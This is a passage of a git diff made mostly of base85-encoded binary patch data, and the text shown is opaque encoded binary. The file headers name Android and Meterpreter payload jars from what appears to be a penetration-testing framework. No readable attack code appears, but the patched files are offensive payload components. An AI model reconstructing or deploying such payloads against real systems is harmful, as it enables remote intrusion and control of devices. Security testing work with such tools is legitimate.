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 XZE3=CIsrJ%Av3_?G>GcV|MmU{+qYQd diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 9a3d4d63152a411f0ef1545c9b25de6d6986e8c5..095c7b9a64a328b35850cdffccaaae6fcd8dca33 100644 GIT binary patch delta 1647 zcmV-#29Wv554#QyP)h>@6aWYa2mpm@XGD<>XC+(ka`AEj08mQ@2wpVAkVXIi07w7; z08mQ<1QY-W2nYa$YG*`|nj3$GmR)QVRTRh1%$GEUg4npsN)Ku(d)9 z)yh^#AWbL_GVD&%$0TP9JNh!&@|XGr|E!ZtyXy&Eh`L>A;7NEz}AIkNvGNB5T$qO4AI4f2Lc zbQAmq?tr`CZy;+#8Zf~oFac)43*cSwEw~D902#izzyR0_j)5|G5xfpQ2fu*p;5N7e z?t*`S7AG=53)l#Df`fnH2si;|!K>hH@ILqid;@*}SHW-KcW@ot1h;`=5Ve7Ruo(=2 zJlGE=!8CXloCasWIq(u#25*9Qz(?RS@RbqG8K#Qhns7^)Zc2b8XaOnEO3|FB0V_;9 z=m4Fd3#=2hc>rX=M$iZP!9&8oBgzGa{d5tBtRm48~(M`w{j}*_yy+=wW*t8}tM6tpwss#`}yko@j^e zXFKU4B@G9C{A>sMB#j<(54SVjx4PI9>i<2ld+ig7Z)tys$CUdwcA!l~rTb!W9>-C{ zVX_JuyA2h39D1K-pe;$`=-Y}_?prC$q;Iw0+6Q_K1$S(glScWNLWf`JF&;+W7+s>I z?pp@)VMP8Bi^b}fndpC`lQL#+LZ``uVP<-I6K13h^d{s;+jBA@am~+W=rwrHJl+3c z7iAKYDKmeOSwGo|>y}9i*L)^<#s=E2jmfSx{X0cp9qV1ju9w8#i1sM^N9(_Xq(Rb#UEd8yNE#z)f}{e;g)zY7G<6qj zzf=j_Qmz>Iq2q_SF(wzoJoVL^%Jz~M*ri-Gv}b>v+@upam2!n$^VEC)K1bL!Pd$Z_ z?VWW`=WO2(LOXN=KX-Jl5-e2n^kBWMx>OCF`P_bIam=%;)dIXQ&)tPn_E|gU2D$xq zXixa%T6iR^IQD#=QmakluE&RIzCTn8oBDRHw%u!Qi|n55&*nyhz;kRrPw6Hj4<=9T zYfXQ{10#9rT5GLG-ObJmnO_du@oy^=DU;ZnBNmT#tL+(9~3M zW<2;{rK*ONS}_dJ!D=eZAnQveFGHlqjvhOFfTSssrwXJ_74Rczn&ji7lsW$2wA+r~ zC*pgI^^i5YTz32tC5nxCAhqZPRfo0}gZY2Kc_*~1WiN0;rmjY~FIqQEL6csLmLA25 zLB(OW6{q0%)KWyvLgyK0fz_9^lH;L2=_P0JupQ2k<}A9^uu8ER)*NS7ZdYf#T6K<; znV?Lqvrf40WHs<=Vbqv{p{aDyePcdJc6~C~lIERAN9=B^QEZY^ECySuUY%~KIl*VhGw?sNqC;X6Fst)Ui!N%s`PlbmHau4U+D#gPf znqX4T+FlLGa&c&e)P;(RjOG%h3IG65O92rA6aW+e t2nYxOg=%L+UNppzlSl_X4uxuGM5-S$W8nn=0PqTvlm{;crUn22006oKAK(B0 delta 1790 zcmV@6aWYa2mn-Kyh4!W4zkP4t%)EJT-t6vFoON^0z7fjb4b1GWo45Y?W6QTQpL~D%{PiCmT{(a2 z_wv;?q8bsc&+X5W`2A`Uoub(O0QguU%0LdtMEIxMxb#8Z75CQ^qN@fJmFR#@Gzuoc zF>nIRg45tR@FF-57Qjp3J@5ti5&Q+Z;b#XJ2lK!OuYz~LC*W)F6SxD~5=4)IXTTY7 z9#p^*xBvoB2OHoe@D_jg5PS~42S0;fz;EDB@Hg|9BpLxlFbSr>JXisj!E4|OcoV!0 z-UlCn&%l@9I`|I!0&asl;2&UOO>>|J>;SvLKJW}U0ZxN?GhR2a)`qW_@Kd-bNi9r`w*?-Blc zTH-v;<4e(2V(X~W2$wQF!KFe^^PE#WPX!|;xooE?o_{QLthB_XMn#@a2OSZ49p&>R zXg^<*6b*CPK_`FtyeiG|HEE**d=27xEc{LLeB=8JM(pC!6f!|2z6J&z;x&!?tDwD?S65n%+us_B2 zj`j$7RtDLpq(L=122|| z)iLFvZQbya#Qx42-X57|jg;c$+p%Vzl|qbzsNSFv$6)aJmf*!nu(@;e8uJL-G48pG zd4^+I zm+zoD{AG_1z1~OJWzo; zKD#FD5;dP$iQ@N$C2HIyY?hFHE#sN&6=My=A>)5-p^ANK;Td4<-J}k$*a7LIuIEN$ zBu$VsMe-EtTq3zN0ZOElO0bpYsjp;vmB4o^g|hEOju#asm|TyFG}vgW*&9{gt`x$^ zUUCXEPUHl&fL)6;@c(_zvTKq0OBK6%$-PjpJ8yWGRP8V<<;uZ*(h-A)gq-gn~u6wK27WW$$He%w|leg zUVARKS8Z>pFz)+R$M%YpX)*F(iqv_(X>`|Ek$Ud8HlproX*jZ8c4{o=B4u05Cl^+n za&)f^QMumIX3{OT@w!{(p0~C%1K3IRL!YHVhBR|;mSC8Ck;S8$cBTK8LSi`KD zOkSE;SD$_H)De>ANS-T^Hdn%rq*omZ5} zPDxVagYxvcLXSxYpT=uztNPU8$H$HIw4xR>Zz%diW?GT=$-5P4Z_gNp>^FZ$$E19R zLc@luYKPjprM(%FHECu*>P_>n;4ADSFH6cRFRQO7B>CNhCVh~k<{6{)9oIO&viD-+ z469J{9II0EEUQuTJgZalOsiPJCwt%KIzUP$?_slJ0dXe(W3vYUwdWVv delta 86 zcmdnXx0jDEz?+#xgn@&DgCQhokJCiHbk*6Pi#`@HG6ZRF2yob$>1;m;BkIfzc&@~un diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index bef5cee0140fd78c4db9c9ac32eb29b3d7778bc5..b6a01cac095c0f8e799987555ea70dea3ae1b18e 100644 GIT binary patch delta 174 zcmV;f08#(`t^)q90+2NX8;47DkvT7apwL|vH)6q+TN#>>2HPY|(vP>dwTNyW^FH%t 